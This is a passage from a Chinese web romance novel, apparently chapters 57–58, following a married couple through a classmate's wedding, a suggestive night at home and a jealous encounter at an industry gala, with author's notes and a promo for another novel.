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容微月被夸得都脸热,体委打趣:“要不是当时听说征哥在追微月,我也想追了。
傅蔺征唇角勾起:“几个意思,我在这儿呢,你说这话?
大家笑声轰然,体委笑说早就死心了,这谁能和傅蔺征比,而且他俩能从高中走到现在,就是命中注定的缘分,就等着明年喝他们的结婚喜酒。
大家聊着天,气氛热烈,不知不觉婚礼仪式开始,现场灯光暗下,司仪宣布婚礼开始,张淳从晓安父亲手中牵过晓安的手,迎着掌声,满带幸福笑意走上台。
大屏幕上播放着俩人从高中到现在的合影,讲述着他们一路走来的点滴,看到晓安红着眼眶说着,容微月听着也眼眶不禁微红。
昏暗的光里,只有傅蔺征看到她这小哭包的模样,被可爱得心软,低笑着给她擦眼泪:
“这么感动啊?很羡慕?
她看着他,傅蔺征宠溺道:“高中我们拍的照片我也保留着,我们上课写的小纸条也都在,还有每次陪你参加小提琴比赛我们的合照我都留着,到时候你还怕我们的婚礼上没有这些?
当初那些美好的过去都被她从她的世界里赶走,可傅蔺征却一点点替她拾起,小心翼翼珍藏,就像一片片捡起破碎的她。
他摸摸她的脸:“宝宝,不用羡慕别人,我们都有。
她弯起唇角,泪眼朦胧点点头:“傅蔺征,你还记得几个月前我们在徐成光的婚礼上重逢吗,当时你坐在我对面,我们就和陌生人一样……
她软声道:“当时我看着徐成光和他对象六年爱情长跑的故事,我特别羡慕。
那时候她觉得,人世间有很多事开头相同,结局却截然相反,有的枝繁叶茂,向上开花,有的枯萎凋零,入土化泥。
她以为她去杭市后,她和傅蔺征那朵爱情的小树早已干涸腐烂,可是在她看不见的那两千多个日日夜夜里,是傅蔺征一个人耐心地浇水灌溉,坚守不弃,最后换来了他们的爱情小树再度生出新芽,繁花盛放。
“现在我不羡慕了,她眸光盈澄莞尔,“我只是看到张淳和晓安这么幸福,想象到我们的未来,也有更多期待。
傅蔺征笑,“当然,我们的未来肯定无限可期。
婚礼仪式结束,婚宴正式开席,傅蔺征全程照顾着容微月,俩人动不动说着耳语,甜得周围都冒粉红色泡泡。
等了这么多年,总算是给傅蔺征等到机会嘚瑟了,“不行,看不下去了这俩人,等不到他们婚礼了,趁淳子和晓安还没敬酒过来,我们今天先把他们给灌醉哈哈哈。
大家说戏精夫妇刚才毕竟演了那么一出,现在肯定是要喝酒赔罪,但傅蔺征说
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今晚要开车,倒是容微月喝了点。
和从前一样,同学们起哄个不停,到张淳和晓安过来,大家让容微月题词,她思忖片刻,含笑道:“先敬自由,不管我们单身与否,不管平凡还是幸福,都要永远最爱自己。”
她对上傅蔺征的目光,笑笑:“也敬爱情,愿有情人终成眷属,兜兜转转,都能遇见命中注定的那个人。”
“说的好!!”
大家一同举杯,“来来来干杯,再敬个友谊,咱们以后要常聚啊!!”
大家饮杯而尽,欢声笑语不断。
婚宴觥筹交错,格外热闹,一场下来,容微月也因为开心喝了很多酒,脸颊红扑扑的。
结束散场时,同学们往外走,容微月靠在傅蔺征怀中往前走去,傅蔺征垂眼看她,无奈揶揄:“你又喝醉了?”
她眸光眨眨,软糯道:“对呀,我喝醉了。”
傅蔺征笑,“今天这么快就承认了啊?”
“我之前说没喝醉,你都不相信,我今天就要反着来,我喝醉了,很醉很醉哦。”
男人失笑,被她可爱得心底发烫,压低嗓音:“宝宝,我想当众吻你,怎么办?”
她眨巴着眼还没回答,傅蔺征搂住她腰,毫不顾及后面跟着一大波同学,倾身落下气息。
“我靠!!!前面又撒狗粮了啊!”
“征爷也太敢了吧!”
“我天,这是把我们当空气啊哈哈哈哈!”
后方的同学们尖叫起哄,傅蔺征像极了从前在班上直接说喜欢容微月的样子,高调得不行。
几秒后,傅蔺征才放开脸红的小姑娘,揽住人回头看,唇角肆意挑起,满了少年感:
“高中到现在,你们不该早就习惯了么?”
“哈哈哈哈太过分了!!!”
最后和朋友们道别,傅蔺征带容微月上车,给她扣好安全带,容微月眉眼弯弯转
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头看他:“狗狗,我们是回家吗?”
他轻捏捏她的脸,“是,回家。”
她笑得酒窝点起,“太好了,我们也有家呀。”
傅蔺征失笑,低头吻她脸颊:“容微月,你怎么喝醉了就越来越可爱啊。”
他启动车子,汇入主车流。
车内暖气打得暖融融,她喝着水,看向傅蔺征,声音甜软:“我今晚好开心,和很多同学聊了好久,好像还和高中时候一样,我之前一直以为毕业后我不联系他们,他们也不喜欢我了。”
傅蔺征握住她的手,“月月这么好,他们怎么可能不喜欢你?我们班大多数同学都挺好的,你不喜欢的我们婚礼也不请。”
容微月酒窝弯起,“嗯,反正不管别人怎么样,我喜欢我自己,你也喜欢我,就够啦。”
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他和她十指相扣眉梢挑起逗着小酒鬼:“要不要比比我们谁更爱你?”
她瘪嘴娇声道:“你才不爱我呢。”
“我不爱你?”
“你……老是欺负我。”
男人笑“宝宝不爱你怎么会想欺负你?”
她眨着盈盈杏眼:“那你今晚要欺负我吗?”
傅蔺征喉结滚动指尖滑动她掌心黑眸深灼:“我出差这么多天才回来你说呢?”
容微月面颊红润噢了声“行吧看在今天你表现挺好的份上我批准了。”
男人哑声应下只恨不得立刻飞回家。
过了会儿路过一家二十四小时便利店小姑娘突然说想喝青橘气泡水家里没有了傅蔺征只好停下来陪着她进去买。
容微月醉意未散走到货架前东挑西选抱了一堆零食
“嗯拿。”
“这个薯片我可以拿两包吗狗狗。”
傅蔺征笑:“随便想吃多少拿多少。”
他都让她都放在篮子里跟陪着小朋友逛超市似的。
最后到雨伞处容微月醉眼迷蒙看着这一排眨巴着眼伸手一盒、两盒、三盒地往篮子里放惹得收银台的店员都不禁看过来。
只眼瞧男人个子极高肩宽腿长大衣衬得人挺拔拓落整个人压迫感十足女人则娇小得多站在他身边几乎要被完全笼进怀里盈盈的腰身像是轻轻一搂就能圈住。
店员忍不住暗暗咂舌男帅女美体型差还很绝站在一起都火花四射难怪要买那么多盒呢……
小姑娘醉呼呼地拿了五六盒傅蔺征搂住她低笑拦住:“宝贝你别买了。”
“为什么你不是要用吗?”她晕乎乎的。
“前两天不是刚到货的?”
他沉哑嗓音塌陷落在她耳边:“而且你尺寸都挑错了拿这么小老子能戴得进去么?之前你给我量出来是多少?”
即便是喝醉那数字也像是早已刻在脑中瞬间浮现了起来她耳根通红还在说醉话;“家里的我都扔掉了你不买就不可以用了哦。”
他气笑揉她头“真扔了看我回去怎么收拾你。”
傅蔺征找了圏最后发现有货拿起两盒特大号的tu点螺纹和玻尿酸超薄是她又怕又爱的。
他低声问:“能吃得惯么?”
她咬着红唇喝醉了还是会觉得害怕“我……我不行……”
男人浑笑根本不给她反驳的空间:“宝贝这么棒适应一下都吃得了。”
他看到某个好玩的又拿了一瓶女性增加快乐的液体哑声落下:“宝宝今天再试试这个。”
她心跳如鼓就被
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他牵着去结账售货员都不好意思看他们。
回到车上傅蔺征把买来的放在她怀中悠然淡淡道:“你可以提前拆开准备好一回家就要开始了。”
容微月把发红的脸都埋进围巾里这人……
傅蔺征一路油门稳而快跟在比赛上开赛车似的没多久便回到禾盛庭。
打开家门傅蔺征就把她压在了玄关俯身索吻。
气息热缠汹涌如窗外落进来的夜色。
呼呼跑过来摇着尾巴看了两眼见俩人无心理它只好无奈走开。
“傅蔺征……嗯……”
她轻嘤呜哼被他的气息吞没烤肠一路加热回来早已热气腾腾出锅了男人呼吸极重吻从天鹅颈往下。
容微月的大衣掉在脚边
男人低笑“怎么了?很多么?”
一盒六个!!
“我会晕过去的呜呜呜……”
“看你表现宝宝表现好我就会快点。”
她气鼓鼓怎样表现才好还得努力榨吗QAQ……
傅蔺征单手托着她身子轻而易举抱起长腿几步便走到水吧台将她稳稳放在高脚椅上。
小姑娘醉眼迷离双腿悬在半空根本够不到地只能仰仗在他怀抱中抬眸看他软声呢喃:“不是回卧室吗?怎么到这里来……”
“装水。”
傅蔺征高大挺拔的身影将小猫咪笼罩住眼底念欲翻滚体内烈火焚烧把装好的水给她哑声落下:
“宝宝提前补充点水分不然你今晚肯定要严重缺水虚脱了。”
〓作者有话说〓
[害羞][害羞][害羞]傅蔺征这个时候你让月月喝水是不是想让她更……[害羞]
嘿嘿嘿明天中午还是12点更新~~万一我要是迟到了大家关注一下文案前排会提前说
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266个前排红包宝宝们推个友友的文《咬绿》by虞灯灯全文完结啦喜欢墙纸的可以去看看!
【柔软小白花vs雅痞疯批】
年龄差9岁|上位者低头|微强制爱|强取豪夺|体型差
池绿上大学后再次见到小叔他已是贵不可攀的集团掌权人。
怕他因上一辈恩怨迁怒自己也自知两人不是一个阶层每次见面都刻意保持距离垂着眼皮怯生生地喊:“小叔。”
被喊小叔的男人双手环胸懒懒地瞧她视线扫过她纯棉白裙冷淡地嗤笑:“我可没那么大的侄女。”
池绿抿唇不敢反驳他们两人确实没
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
血缘。
都说沈序秋权势滔天,手腕狠绝,是不好招惹的主,还长了张矜贵疏离,生人勿近的脸。
池绿深有体会,每次去他的别墅替家里长辈赎罪都是一场‘煎熬’。
池绿以为小叔是讨厌她的。
直到那晚,灯火通明的书房,她被男人强硬地按在桌面。
指腹捻着她的唇,淡声:“跟我谈不好么?我的fu肌只有你看过,大腿只有你坐过,我的初吻是你的。”
温热气息在她脸上游移:“初次也会是你的。”
从此,池绿对沈序秋多了两个新印象:
没道德。
是个烂人。
池绿从没把他当自己男朋友,时时刻刻想着逃离。
然而,一场宴会彻底将他惹恼火。
酒店顶楼房间里落地窗外灯火通明,她哀求地喊:“小叔。”
沈序秋眸光狠戾地捏着她下巴,嗓音黯哑:“哪门子小叔会跟你做,喊老公!”
——
沈序秋一开始没想和小他九岁的小姑娘发生什么。但目光总是不受控落在她身上。
有一天忽然很想亲一亲那张给他唱生日歌的嘴。
这么想也就这样做了。
shi后清晨,“我从来不会亏待自己。”
池绿则从来没把他当一回事。
在他身边曲意逢迎,淡然看他沉着脸生气放狠话威胁,隔几天又当没事人凑上来。最后一次,她又逃了。
在异国他乡再次找到她,沈序秋如获珍宝般亲吻她额头,要把她嵌进骨髓,呢喃道:“你喜欢什么样的男朋友?我改。”
第 57 章 “你永远只能是傅蔺征的。”...
第57章第五十七章
【“你永远只能是傅蔺征的。】
chapter57
小姑娘喝醉了,脑子晕乎乎的,但还是听懂了他这句话的意思,酒气熏红的脸颊更粉扑扑的:
“可是水喝多了,等会儿会*更多的……
这人好坏,就是故意的……
男人面对面站在她身前,快要两倍宽大的体型差把她牢牢锁在吧台和他胸膛中,骨骼修长的指节淹入她的香芋色毛衣。
傅蔺征闻言勾唇,俯身咬她嫣红的耳垂,哑声低哄:“你不就喜欢那样么?
他痞坏地形容着那时候她的样子,像是焦糖布丁被放到烤箱里,容微月听着脑中不禁回忆起,心跳怦然作响,忍不住羞嗔他:“傅蔺征……
他直勾勾问:“想要么?
她咬着唇瓣,口是心非,“不要……
傅蔺征的婚戒隔着布被洇,他按着,黑眸灼灼,“宝宝,这是不要的样子么?
他吻她更凶,逼她说实话,“不要么?
容微月脊背如小虾,揪着他衣袖,小猫爪忍不住轻挠着,红透了耳根:“要呜呜……
随后傅蔺征手臂横亘过她膝盖窝,把她一把打横抱起,走进卧室。
容微月跌入柔软,傅蔺征倾身而来,“宝宝,再说清楚点,要什么?
“要……要老公……
他掐住她腰,讨要爱意,哑声道:“宝贝,说你最爱老公了。
她软声道:“最爱老公了……
他黑眸热炽,格外霸道:“老公是谁?
“是,是傅蔺征……
他俯首吻她,强势道:“永远只能是傅蔺征,知道了么?
这辈子,她只能是他的。
她抱住他脖子:“知道了……
他笑:“乖宝宝。
傅蔺征起身抱她去浴室,过了会儿重新回来,他拿起刚刚在便利店买来的那瓶,直勾勾看她:“试试这个好不好?
虽然她已经足够,但这能让她更happy。
她耳根烧红,“害怕……
他哑声道:“先试试,我觉得你会喜欢。
傅蔺征哪能依着她,往下滴落。
酒精不断在脑中发酵,男人把她的膝盖折叠在他硬朗蓬勃的胸膛前。
窗外下起了雷阵雨。
滂沱轰然,打在落地窗上。
她像是只被捞起来呼吸稀薄的小鱼,男人沉沉的呼吸和她的搅动在一起,下颌滴落汗珠,扣住她手腕,低头缠着吻她:“宝宝,真的好喜欢你啊。
半晌,傅蔺征看着她所躺之处,痞坏勾唇:“看来那个还挺有用的,怎么这么厉害啊?
她羞
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赧,他咬她耳朵,“怎么办,垫了也没用,透下去了,就说你今晚要缺水虚脱了。”
容微月都不知道自己怎么会这样,傅蔺征又滴了点,“想再来么?”
在酒精中她想起舞,抛去羞涩,“想……”
他倾覆而来,再度拉她沉溺。
-
京市云雾飘荡,春雨过去,树木饱受滋养,抽出新芽,娇嫩开放。
翌日容微月醒来时,只一件真丝绸缎的烟粉色吊带睡裙,宛若迎春而开的粉荔枝玫瑰。
只是风吹雨打一夜,此刻蔫巴巴的。
房间里只剩下她一个,她撑着身子爬起来洗漱完,走出客房,就看到呼呼蹲在他们的卧室门口,嘴里舀着小麻雀,小脚丫蹦跶踹着,照例在等她醒来。
现在经常容微月早晨醒来,呼呼都会趴在门口等她醒来,晚上它老想到房间里和他们一起睡,就想和爸爸妈妈贴贴,但傅蔺是没同意:
“这祖宗白天黏着你就算了,晚上还想打扰我们二人世界?”
男人吊儿郎当道:“到时候我俩做正事,它在旁边看,到时候你哭哭唧唧的,它还以为老子欺负你呢,直接扑我们身上来。”
“……”她羞得都想打这人。
此刻她含笑蹲下来对呼呼叫了声:“宝贝——”
呼呼闻声扭头看到她,似乎是愣了下,黑葡萄似的眼睛亮起,立刻叼着小麻雀扑腾过来,钻进她怀中,棉绒绒的尾巴晃动着。
估计它都想不通,妈妈怎么不在卧室里。
因为昨晚床又被傅蔺征折腾得没办法睡了。
揉了揉呼呼的脸,她喝了杯水,往前走去书房,就看到门打开着,傅蔺征在里头开会,一大早就在处理着集团方面的相关事宜。
如今他接手明恒的事情越来越多,傅司盛有意让他这两年就彻底接管集团。
男人闻言抬头看到她,眼底的严肃冷厉被柔意冲淡,她抱着呼呼,朝他做了个噤声的手势,生怕和再像上次一样。
她正要逃走,傅蔺征眉眼晕开散漫兴味,食指和中指并拢朝她勾了勾,示意她进来。
容微月眉眼浅弯,犹豫了下,还是把呼呼放了下来,轻声走进去,就被人拉着顺势到他怀里,傅蔺征宽大的身躯把小猫咪困在他和书桌之间。
他没扯下耳机,箍住她下巴,直接就吻了过来。
她怔了怔,竭力压着呜哼。
怕他又来胡闹,半晌她推开他胸膛,脸颊被惹得通红,羞赧用气音道:“别闹,你在开会呢。”
傅蔺征声音沉沉,吻她脸颊,挑唇:“宝贝,我又想要你了。”
??!
她羞得立刻捂住他嘴巴,脸都红透了,傅蔺征看她怂的模样,低笑,气音
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沉沉:
“怎么这么笨啊,我关麦了。
她差点被吓出心脏病,羞鼓鼓打了下他,咬了下他喉结,嗔他:“你给我专心点……
她想走,傅蔺征没放人,但认真开着会,容微月就靠在他怀中看书。
五分钟后处理完所有事情,傅蔺征淡淡道:“今天就先这样,剩下的合同你们再回去修。
“傅总,那修改完等会儿发给你吗?
傅蔺征看向的怀中的小姑娘,语调悠然:“没事,完整版今晚发给我就好,现在我要给我老婆做早餐。
电话那头的领导员工们:“!!!!
【啊啊啊??傅总这是为老婆洗手作羹汤吗?!这人夫感绝了!!】
【这话语中充满了已婚男人的暗爽啊,给老婆做饭是值得骄傲的事,傅总是老婆脑实锤了。】
【所以傅太太又在旁边吗,啊啊啊好像知道她长什么样,好奇**。】
【好奇+10086!!!】
大家按捺着好奇,结束会议,傅蔺征扯下耳机,容微月看着他,面颊绯红,小声嗫嚅:“你干嘛提到我……
“藏什么?他淡声挑唇,“反正现在集团上下都知道我有老婆。
那次开会她的声音被听到,傅蔺征结婚的消息**传开,没几天集团内部都知道了,大家都没想到傅蔺征竟然结婚了,有高层领导原本还想把自家千金介绍给傅蔺征,试图攀上傅家的关系,这下没了希望。
还有人不敢相信呢,有人去找老董事长求问,傅司盛含笑证实,只说小姑娘特别好,明显格外满意,其余的他说暂时等两个孩子想公开了再说,大家好奇心更盛,却只能暗暗揣测。
容微月羞得靠在他怀中,傅蔺征揉揉她的脸,低声问:“昨晚累不累?还以为你要睡到中午。
“早上被一个工作电话吵醒就睡不着了,她莞尔咕哝,“好累,讨厌你。
男人压低声音:“宝宝,你有没有点良心,昨晚shuang成那样,不是喜欢我?
昨晚她喝了酒,加上那个液体,还有和他几天的分别,她状态格外好,就像是个倒扣的红酒瓶,木塞子一拿掉,红酒就哗啦啦。
看着她这样,男人哪有没有成就感的,傅蔺征恨不得给她更多更多,让他们越来越契合。
容微月看向这个恐怖的打zhuang机,没想到这样一个客观硬件天赋异禀,加上爆发力持久都全方位拉满的男人能被她碰上,甜蜜又害羞地揪着他衣领,“很讨厌……也很喜欢。
傅蔺征笑了,吻又寻索过来,过了会儿,容微月热着脸推开:“你别亲了。
他黑眸深深,“为什么?亲都不能亲了
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?
“你亲了就、就又想*了……
这人结婚后自制力越来越差,亲着她,抱着她,甚至牵着她都能起来,有次她在客厅里吃雪糕看电视,突然就被傅蔺征抱去房间,事后他说看到她舔着嘴巴,就觉得好喜欢好想要。
本来她听他的话,买了一整个衣柜的qq内衣,想哄他有时候没兴致的时候穿,谁知道这人永远都那么有兴致,那衣服拿出来次次只剩下几片撕碎的薄布,过于恐怖。
她甚至都觉得自己呼吸就在勾他,平时都不敢去主动招惹。
傅蔺征闻言,也顾及她的身体,怕她吃不消,亲亲她脸颊说不来了,“饿不饿?吃早餐去?
“好,你抱着我,我累得不想动弹。
他起身把她单手抱起,看着懒洋洋挂他怀中跟树袋熊一样的她,笑着摸摸她的头,“怎么这么娇气啊。
“那昨天弄完,我当然累了……
傅蔺征揶揄:“全程都是老子动,叫你跪一会儿也累,扶着镜子站好也累,双tui夹紧我的腰也累,你有不累的时候?
“……
她红着脸闭麦,算了,她就是那么娇气的人。
吃完饭,两人白天在家各自忙碌着工作,晚上带着呼呼出门或者是窝在家里看电影,又甜蜜地过了个周末。
下一周,容微月接到《霜雪吟》剧组的邀请,参加一个交流晚会。
晚会的举办方名叫澄华文化投资基金,他们在许多影视项目中都有投资,也是《霜雪吟》的投资方之一,年底的答谢宴,澄华邀请了业内许多的影视文化公司负责人,场面盛大。
容微月身为《霜雪吟》的饰品设计师,现在也要跟随剧组参加一些活动,这既是工作,也是为了提升知名度。
当天傅蔺征在训练场,没办法亲自来接她,但派怀裕把晚礼服和珠宝送来了晴月阁。
那是一件专为她量身定制的深红鱼尾长裙,后背交错的细丝若隐若现地勾勒出雪白蝴蝶骨,裙摆收腰勾出柳枝般的纤细曲线,衬得她身段玲珑,曼妙得倾国倾城。
她化了妆,纯白齿红,水眸如波,五官明艳动人,白到发光,微卷的黑发都带着妩媚风情,天鹅颈上戴着傅蔺征为她准备的宝蓝色钻石月亮项链。
据说拍卖价格快六千万,看过去很小巧精致,但是钻石是世界顶级稀有,不懂行的人可能还看不出来。
傍晚从办公室出来时,晴月阁的员工们看到她都被惊艳得嗷嗷叫,说她美到和明星一样,哪个男的看到都走不动道。
容微月有点不好意思,总觉得太夸张,去的路上给傅蔺征发信息,那头道:【衣服其实不夸张,是我的宝贝颜值太高,穿什么
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
都像盛装出席。】
她红唇弯起。
这人嘴巴现在是越来也甜了……
傅蔺征说还在开会,会迟到一会儿,让她到了就先吃点东西,不要饿着肚子,她应下,【没事你安心忙就好啦,不用管我。】
夜幕低垂,车子停在京市市中心的一家五星级酒店门前,容微月下了车,踩着高跟鞋步入大厅。
上楼到达举办宴会厅,一进去,水晶吊灯璀璨耀眼,悠扬的弦乐奏响,人群衣香鬓影,觥筹交错,她一出现,立刻吸引了不少视线,许多人以为是哪位新晋女星登场。
很多人都忍不住关注她。
她见到《霜雪吟》的导演和制片人等领导,他们被她这打扮美到,导演笑:“容小姐,我一直都想问你,如果你对拍戏感兴趣,有没有打算转行入娱乐圈?你这外貌进圈了,就是前途无量啊。”
“对啊,容小姐读书好,学历又高,还有一技之长,这比不少新人偶像都优秀。”
“诶,说句实话,当明星这可比做花丝镶嵌赚钱啊,我这边认识很多很好的娱乐公司,你这外形肯定没问题!”
容微月接过侍者送来的香槟,淡笑说这是太抬举她了,“我不是当演员的料,还是在车间里做花丝镶嵌最让我踏实。”
而且她要真想入圈,傅蔺征就可以捧她,但她实在是对这个不感兴趣。
说笑聊天几句,制片人也有意帮衬她,带她去和其他影视公司的人打招呼,众人听说她是《霜雪吟》的饰品设计师,再看过实物后,纷纷称赞,有人提出合作意向,也有人心怀暧昧地给她递名片搭讪,容微月都一一妥帖回应,该婉拒的婉拒,该接受的接受。
半晌她走去甜品区,拿了点小食充饥,正低头轻尝时,忽而身后传来热络的男声:“月月?”
她倏地回头,看到一个西装革履的年轻男
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人迎面快步走来。
男人名叫圣嘉煜,小时候他家在她家隔壁,对方比她大一岁,从小他们经常在一起玩,她总是跟在他后面“嘉煜哥”“嘉煜哥”的叫,两人关系不错。
后来圣嘉煜高中后出国留学了,本科和硕士都是美国念的,几年间就已在同龄人中出类拔萃。
圣嘉煜含笑走来,声音温润:“月月,真的是你啊,也太巧了吧。”
“嘉煜哥……”容微月唇角一弯,眼底浮起几分意外与熟稔。
他们上一次见面还是去年春节,容微月没想到今晚会在这里碰到他,圣嘉煜端正清隽的面容勾起笑意,解释:“你不知道吗,我就是澄华基金的合伙人之一,但我平时都在沪市,这几天才回来。”
容微月了然,介绍了自己来这儿的原因,圣嘉煜得知惊叹:“之
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前我就听《霜雪吟》说他们请来了个很厉害的花丝镶嵌非遗设计师我当时还想把你推荐过去没想到就是你月月你现在真的太厉害了比容叔叔还青出于蓝胜于蓝哈哈哈。”
容微月被他夸得羞赧莞尔谦虚道:“我工作室才刚起步还需要慢慢打磨。”
“别急”圣嘉煜笑着替她夹了块甜品“今晚我带你多认识几家影视公司的人以后合作机会自然会越来越多。”
“谢谢嘉煜哥。”
“跟我那么客气干什么”圣嘉煜笑笑“小时候你可没少黏着我那时候还天天抓着我陪你去摘枇杷呢。”
圣嘉煜提起小时候的有趣回忆说他出国以后他们就联系少了“月月你还记得吗小时候还是你带着我拉小提琴的我现在只会拉你教我的那首《歌名》其他都不会。”
容微月淡笑“你还能记得就很厉害了。”
圣嘉煜喝着气泡酒看向容微月漂亮莹亮的侧脸在灯光下白皙柔软的皮肤带着点绒毛让人心间微动。
他忍不住道:“月月我接下来会在京市待个几天有机会我们再一起吃饭行吗?”
容微月点头没多想“你可以来家里我爸妈应该也挺想见到你。”
正聊天间门口传来轰动声
为首的就是傅蔺征。
男人一身高定的矜贵西装打着深蓝色领带布料挺阔周正逼近一米九的身高在人群中最显眼长腿颀长周身气场桀骜松弛眼皮黑痣冷欲泛着冷光一进来就成为全场不容忽视的焦点。
他身边还有夏斯礼一行人走进来宾客们争相上前寒暄。
圣嘉煜作为主办方自然要先去打招呼他含笑对容微月道:“等会儿我再过来找你。”
容微月应下转头见傅蔺征目光转着似乎在找人直到落在她身上停住黑眸冷淡散去晕开亲昵柔意。
她悄然朝他弯了弯唇畔仍旧站在原地没好意思上前打扰。
如今结婚她看到他站在人群焦点倒不会因为他们之间身份差距悬殊而自卑反而心底生出一股小小的骄傲——这样优秀耀眼的他是她的先生。
傅蔺征淡声回应着周围人的寒暄半晌圣嘉煜回来找容微月笑笑:“刚刚去打了个招呼对了微月我看到那边有车厘子蛋糕我记得你最爱吃车厘子了?我去给你拿点。”
“没事不用……”
“没关系我怕你饿着你东西吃那么少。”
圣嘉煜走去甜品区容微月只好在原地等着转眸却看到傅蔺征和夏斯礼走了过来。
夏斯礼看到她挑眉:“
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微月,你今天也太好看吧!!全场的女明星都没你好看!我刚开始没认出来是你,眼睛都看直了。”
容微月笑,傅蔺征刚刚看到小姑娘,心脏也怦然跳动,被她惊艳到,他慵懒睨夏斯礼:“你再看个试试?这是我老婆。”
夏斯礼轻啧调侃:“傅蔺征你何德何能,修的什么福气,竟然也配拥有这么好看的老婆!微月你这什么眼光啊,竟然让他得了便宜!”
容微月笑颜甜甜和傅蔺征对视,男人挑唇:“没办法,我老婆就喜欢我,怎么办啊。”
夏斯礼受不了这人的臭屁样儿:“我今晚就不该来,又得看你们俩秀恩爱!”
说笑着,傅蔺征招呼侍者,拿来杯热饮,抽走容微月手中的香槟,吊儿郎当的嗓音落下:“喝热的,等会儿又感冒了,看我怎么收拾你。”
她脸红哦了声,低头看着,“这是什么呀……”
“应该是梨茶。”
这时圣嘉煜拿着蛋糕走了过来,声音温柔:“月月,你爱吃的车厘子蛋糕,先尝一尝。”
圣嘉煜走到她面前,递来蛋糕,傅蔺征听到那声亲昵“月月”和“你爱吃的”,眉关瞬间锁了几分,掀起眼皮,黑眸冷冷地落在圣嘉煜身上。
容微月被迫接过盘子,注意到傅蔺征的目光,指尖一颤,察觉到了什么,耳根微热。
完了……
随后圣嘉煜看到面前的夏斯礼和傅蔺征,心底微怔,他与夏斯礼合作过,两人算是熟人,可对傅蔺征只闻其大名,今晚却是第一次相见。
圣嘉煜刚刚远远看到他们在和容微月聊天,却不知道在聊什么,按捺心中疑惑,含笑和再度问好:
“斯礼哥,傅先生——”
傅蔺征薄唇未动,看向他,黑眸幽深如海,夏斯礼见此轻咳了声,含笑打圆场问圣嘉煜:“你们俩认识啊?”
容微月感受到某道快要烧起来的目光,连忙温声解释:“他是我小时候邻居家的哥哥。”
圣嘉煜点头,笑笑:“对,小时候一起长大的,今晚正巧碰见了。”
他低头看向微月,小声问:“月月,你们也认识啊?”
她耳根微热,周围还有许多人,不敢在此时此刻公开身份,生怕引起轩然大波,只好软声解释:
“我合作的《霜雪吟》就是明恒出品的,所以傅总……是我的领导。”
傅蔺征闻言,挲摩摇晃着香槟,下一刻黑眸直勾勾看向脸颊绯红的小姑娘,冷笑了声,声线压得慵懒而危险:
“领导,是么?”
行,等着吧。
说他是领导,叫别人哥哥是吧?
〓作者有话说〓
月月:危
啊啊啊傅蔺征要吃醋到**了!!![星星眼][星星眼]
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第 58 章 “我在哄我太太睡觉。”...
第58章第五十八章
【“我在哄我太太睡觉。”】
chapter58
夏斯礼听到这几人的对话扭头看到傅蔺征单手插兜另一只手晃着酒杯眼皮黑痣掀起黑眸直直盯着圣嘉煜冷冽锋利神色格外冷淡。
傅蔺征周身原本松弛的气场瞬间变得冷沉下来让人不自觉感受到窒息。
夏斯礼感觉空气中飘来一股浓浓的醋味。
得这人的醋缸子直接被砸翻了……
傅蔺征占有欲向来很强高中时他刚追容微月别说有男生想刻意靠近但凡有男生过来说几句话他一个冷锐的眼神分过去跟在小姑娘身边大家见到是傅大少爷谁还敢跟他竞争。
后来在一起后有一次几个朋友去爬山容微月和一个男生多交谈了几句晚上夏斯礼就看到昏暗处傅蔺征把小姑娘困在怀里索吻喑哑嗓音压着醋意:
“不许对别人笑那么久只能看我。”
夏斯礼就没见过这么恋爱脑的黏上去跟狼狗护食一样。
此刻见着结婚后的傅蔺征第一次吃瘪夏斯礼在心底直笑。
叫他嘚瑟秀恩爱!老婆不给他名分咯!
容微月听懂傅蔺征的反问面颊红红朝他投去一个“我错了”的眼神夏斯礼拍着傅蔺征的肩膀故作恍然开口直笑:
“嘉煜原来你是微月的竹马哥哥啊?!青梅竹马是最天的缘分了!我身边就有一对青梅竹马还订过娃娃亲的呢那你们从小一起长大感情一定很深吧?”
容微月:“……”
夏斯礼怎么能变得这么坏呢QAQ.
圣嘉煜听着这话没多想也不禁回忆起来含笑点头:“是挺好的我们没订娃娃亲就是邻居家常常在一块儿小时候她和她弟弟经常跑来我家吃饭都是我牵着她去上幼儿园月月特别可爱
夏斯礼感叹:“微月你这个哥哥也太好了吧!我都想有这样的哥哥了!”
夏斯礼对上傅蔺征扔来的零下二十度眼刀子憋笑着还在添油加醋:“这青梅竹马的情谊一般人可代替不了可惜你高中就出国了不然估计我们早就认识了。”
圣嘉煜勾唇:“这两年我回国发展了还是国内好打算过段时间回京市常驻毕竟朋友们在京市。我刚刚在和月月聊天她现在就在开工作室这次又能刚好能和《霜雪吟》合作真有缘分。”
夏斯礼挑眉看向傅蔺征:“是啊我们傅总也特别满意微月的设计一直对外举荐。”
圣嘉煜愣了下没想到傅蔺征如此好他之前没少听外头
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传闻说傅蔺征这个公子哥整天就知道花天酒地,估计连花丝镶嵌都不知道是什么吧?
他还是恭敬道:“傅总眼光好,谢谢傅总对月月的提拔。
傅蔺征闻言轻笑了声。
他谢?他以什么身份谢?
一共八百年不联系的邻居哥哥,替他老婆谢谢他的照顾?
圣嘉煜还谦逊道:“月月工作室还在起步,多有做的不好的,还请傅总多体谅。
傅蔺征喝酒,薄唇故意覆在小姑娘留下的淡淡口红印上,喉结滚动,圣嘉煜微微一愣,随后傅蔺征幽深的目光抬起看来,无波无澜开口:
“圣先生和容小姐关系还挺不错,不过谢就不必了,容小姐的作品本来就特别优秀,是我们明恒有幸合作,不存在体谅。
圣嘉煜微愣,没想到会得到如此直白的肯定,轻轻一笑:“是的。
容微月抬眸,正好对上傅蔺征落来的目光,唇角轻轻弯起,心间像被裹了层麦芽糖。
哪怕还吃着醋呢,这人还是会第一时间肯定她……
又有宾客来找傅蔺征寒暄,他被请走,临走时深深看了眼小姑娘,惹得她脸颊泛红。
果然过了会儿,她坐到位子上没多久,包里的手机就轻轻一震。
果不其然,是傅蔺征来秋后算账:
【过来酒廊后面。】
她心脏微微一跳,还有点心虚,软乎乎回:【干嘛呀,这里很多人。】
傅蔺征回来,语调简短冷厉:
【不过来你知道你今晚回去的后果。】
这人又威胁她……
男人有太多可以欺负她的手段,虽然他平时大多数还是以她为主,但真强势霸道起来,她怎么讨饶都没用。
脸颊染上红晕,她只好起身,往后方酒廊走去。
到拐角处,忽而一只烫而有力的手伸来,攥住她的指尖,下一刻另一只臂弯箍住她盈盈一握的柳腰,把人抵在墙上。
她如小兔子一惊,看过去,“傅蔺征……
